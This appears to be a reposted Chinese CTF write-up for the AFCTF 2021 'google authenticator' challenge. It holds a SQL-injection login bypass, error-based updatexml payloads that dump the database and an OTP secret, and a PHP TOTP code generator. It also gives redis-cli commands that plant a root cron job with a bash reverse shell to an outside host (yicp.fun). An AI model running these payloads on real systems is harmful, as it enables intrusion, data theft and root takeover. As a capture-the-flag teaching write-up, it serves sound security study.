[AFCTF 2021]google authenticator

2023-12-20 15:53:43


前置知识

谷歌身份验证

GitHub上有开源的项目
参考文章

我们下载下载该项目,然后按照给的exp修改一下
在这里插入图片描述在该项目创建exp.php,内容如下

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

成功生成验证码
在这里插入图片描述

redis-cli结合定时任务提权

步骤如下

redis-cli -h 靶机ip
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save

然后开启监听,过一会就会发现反弹shell成功并且是root权限

解题过程

打开题目发现是登录框
在这里插入图片描述
直接试试万能密码登录成功

1' or 1=1#
123456

提示/google_authenticator.php,访问一下发现要验证身份
在这里插入图片描述没啥线索只好回去继续sql注入
一开始尝试联合注入发现只能知道字段数为4
在这里插入图片描述
试试报错注入,存在回显
在这里插入图片描述
然后一步步注入

//爆数据库  actf_is_fun
1' and updatexml(1,concat(0x7e,database(),0x7e),3)#

//爆表名  users
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='actf_is_fun'),1,31),0x7e),3)#

//爆列名  id,username,password,otp_secret_key
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),3)#

这里的列名长度不够,_key在后面
然后我们知道要身份验证,我们查询otp_secret_key(很长)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY

解码一下得到密钥
在这里插入图片描述
然后就是利用脚本得到验证码

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

输入验证码
在这里插入图片描述继续访问,发现可以蚁剑连接
在这里插入图片描述
连接上后发现权限不够,开始想用suid提权发现不行
查看下历史进程

ps aux

发现是redis数据库
在这里插入图片描述
利用redis提权方式有几种,主从复制版本问题用不了,写马权限不够
这里用的是redis-cli结合定时任务来反弹root权限的shell提权
我们先反弹shell到服务器上
在这里插入图片描述然后就是提权,由于我们是反弹shell,而redis-cli需要交互模式,但是反弹shell不是交互模式,我们需要将非交互模式变为交互模式(就是进入终端)
步骤如下

redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save
END

在这里插入图片描述
开启监听,过一会反弹成功得到root权限
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135104779
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。